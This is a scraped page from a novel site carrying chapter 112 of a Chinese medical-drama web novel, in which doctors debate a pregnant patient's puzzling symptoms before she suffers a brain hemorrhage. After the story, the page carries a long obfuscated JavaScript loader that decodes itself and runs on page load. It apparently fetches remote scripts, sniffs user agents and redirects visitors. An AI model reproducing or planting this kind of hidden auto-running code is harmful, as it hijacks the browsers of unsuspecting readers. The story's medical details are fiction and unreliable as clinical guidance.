首页
第112章 矛盾病例,最终诊
返回
关灯 护眼:关 字号:小

第112章 矛盾病例,最终诊断

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    “急性重症心肌炎!”
    这是一种病毒直接侵犯心肌,引起心肌急性水肿、坏死,进而迅速导致心衰、心律失常、心源性休克的疾病!
    这种病早期症状不典型,很容易被误诊为普通感冒,
    一些社区医院,甚至连很多三甲,都曾因将急性重症心肌炎误诊为感冒,导致死亡!
    许秋再扫了一眼栗芊芊。
    对方的脸色越来越差,而且口唇开始有发绀的迹象,很显然是缺氧了。
    这种情况,最好是转入icu。
    但许秋的直觉让他觉得有什么不对劲。
    “先给面罩吸氧看看效果。”许秋说道。
    但,几分钟后,栗芊芊的缺氧情况越来越严重,心电监护上的数据也在下滑,血氧饱和度越来越低。
    许秋一皱眉:“推一支镇静剂,换气管插管。”
    这时,病房里一个穿着休闲裤的男人说话了,他问道:“医生,能不能治好啊,有什么贵的药直接上,治好就行。”
    另一个男人推了推金丝眼镜,道:“现在34周了,应该可以剖宫产,先剖了吧。”
    许秋没有搭理他们。
    好在,推药、上呼吸机后,栗芊芊的血氧慢慢地升了上来。
    危机暂时解除。
    众人这才松了口气。
    但,心里的石头依旧没有放下。
    在没有找到真正的病因之前,危机可以随时复发。
    “许医生,先去会议室,我们科联系了呼吸内科、心内科几个科室讨论这个病例……”黎雪低声提醒道。
    临走前,许秋回头看了一眼。
    金丝眼镜的男人正按着栗芊芊孕肚的两侧,脑袋贴着肚子聆听。
    另一个男人则在打电话,似乎在喊剩下三个人赶回医院。
    “唉,真是没有底线……”
    出门后,护士们都摇头谴责。
    ……
    五分钟后,会议室。
    众人见许秋进来,暂时停下了讨论的进度。
    一双双目光看向许秋,都释放着和善。
    等许秋坐下,讨论才重新开展。
    呼吸外科章主任道:“从ct上看,病人的肺炎不算严重,这么严重的呼吸困难、缺氧,肯定跟肺炎无关。”
    心内科主任愁眉不展:“症状倒是跟急性重症心肌炎很像,心衰标志物也高了……”
    而此时,许秋也终于翻阅完了刚刚出炉的检查报告。
    其中有一项很有意义:
    病人的心肌酶轻度升高!
    如果是重症心肌炎,在心肌细胞被破坏的情况下,心肌酶一定会剧烈升高。
    但,病人的心肌酶却只有轻微的上涨!
    显然,心内主任也注意到了这一点,他叹息道:“如果能做个心肌活检就能确诊了。”
    在场的人都摇了摇头。
    现在都不明确是不是重症心肌炎,只是为了判断,就要刺入心内膜检查,代价太大了。
    临床上,不是万不得已,医生也不愿意做有创检查。
    就在这时,许秋旁边的黎雪举了举手,她站起来说道:“会不会是甲亢?”
    甲亢?
    众人猛地一愣,顺着黎雪的思路想下去,突然觉得豁然开朗。
    对!
    病人烦躁、心动过速、多汗,所有症状都能用甲亢来解释。
    而刚才爆发的呼吸困难——
    正是发生甲亢危象时的表现!
    除了重症心肌炎,甲亢危象也能引起如此突然的心衰!
    “是甲亢危象的话,死亡率30%左右,那得赶紧处理啊!”
    “对,这得请内分泌那边会诊了!”
    但,就在这时,许秋的声音打断了众人的讨论。
    他淡淡地道:“我进行过触诊,甲状腺没有肿大的表现。”
    众人兴奋的情绪戛然而止。
    妇产科胡主任试探着道:“要不,查个甲状腺激素水平?”
    甲亢危象,不一定有甲状腺肿大。
    激素水平才是金标准。
    心内主任提议道:“先查甲状腺激素,正常的话,再询问家属,看要不要做个心肌活检。”
    但黎雪却直接反驳了,说道:“这个病人比较特殊,不能征询家属的意见!”
    那五个富二代,只是把栗芊芊当成赌约的工具——
    对方根本不在乎栗芊芊的死活!
    这次联合会诊,最终还是没有得出最终的诊断。
    不过,许秋这边明确排除了肺栓塞,栗芊芊的命保住了,确诊的事儿可以慢慢推进,众人也缓了口气。
    ……
    下午,许秋回到急诊科,跟着开展手术。
    做完一台手术后,他又去消化科那边开了个会。
    陈氏胰肠吻合法的视频,科室里的人都看得倒背如流了,就等许秋过去亲自教学。
    不过,许秋还是把时间推到了脑外科的学术交流之后。
    最近他实在是没有时间。
    出了消化科会议室,许秋竟然又看到了一个熟人。
    高沛安!
    陈院士的得意门生,十二指肠、肝癌领域的医学大佬!
    见到许秋,高沛安直接撂下了其他人,快步走了过来,“许秋,你也要来消化科做手术?”
    许秋摇头,反问道:“高教授,你又有飞刀?”
    高沛安点点头,看向不远处一位大腹便便的男人,说道:“张局,市里面的领导,他母亲得了肝癌,请我来做手术。”
    正说着,张局就迈着八字步过来了。
    高沛安刚要介绍,张局看了眼许秋的胸牌,脸就一下子沉了下来,道:“你就是许秋?”
    高沛安惊喜,“都认识啊,那不用我介绍了。”
    张局甩了个脸,骂道:“我当然认识!
    就是这个混蛋,把血站的办事员搞下去了,那个新来的跟个榆木疙瘩似的,必须要互助献血——
    我血脂太高,不能献,害得我折腾了半天,才找来几个人给我妈换了四袋出来!”
    他很愤怒。
    前几天,打个电话血站就开绿色通道。
    结果,今天就行不通了!
    一问才知道,是这个叫许秋的小医生搞的鬼。
    意识到事情的发展不对劲,高沛安慌忙制止了他,道:“张局,我破例过来飞刀,你也给我点尊重。许秋是我的老师看好的后辈,你最好还是慎言!”
    张局噎住了。
    最终,他还是呵呵冷笑了几声,给许秋甩了个脸就离开了。
    还有一道声音远远传来:“高教授,一个小辈而已,你何必如此爱护?这种不知变通的小子,注定成不了大事!”
    高沛安则冷着脸骂了一句:“闭嘴。”
    张局这才意识到许秋的身份不简单,终于安静了下来。
    ……
    电梯上。
    许秋想了想,还是停下了妇产科的楼层。
    结果,刚出电梯门,就撞上了迎面而来的黎雪。
    “许医生!”
    此刻黎雪焦急无比,她看到是许秋,眼神中涌现出惊喜。
    “又出事了?”
    “对……又是那个栗芊芊,她脑出血了!”
    许秋一怔。
    脑出血?
    怎么会脑出血!
    他看向黎雪抱着的病历,正是栗芊芊的。
    许秋接过来,边往抢救室赶去,边迅速翻阅。
    与此同时,当时查体时的各种症状也在脑海中快速掠过。
    烦躁、多汗、呼吸困难、心率增快、心衰……
    而现在,又突发脑出血……
    就在这一刻,他突然停住了脚步,脑中的画面也定格在了某一个场景!
    许秋眼睛一亮,终于想通了一切!
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();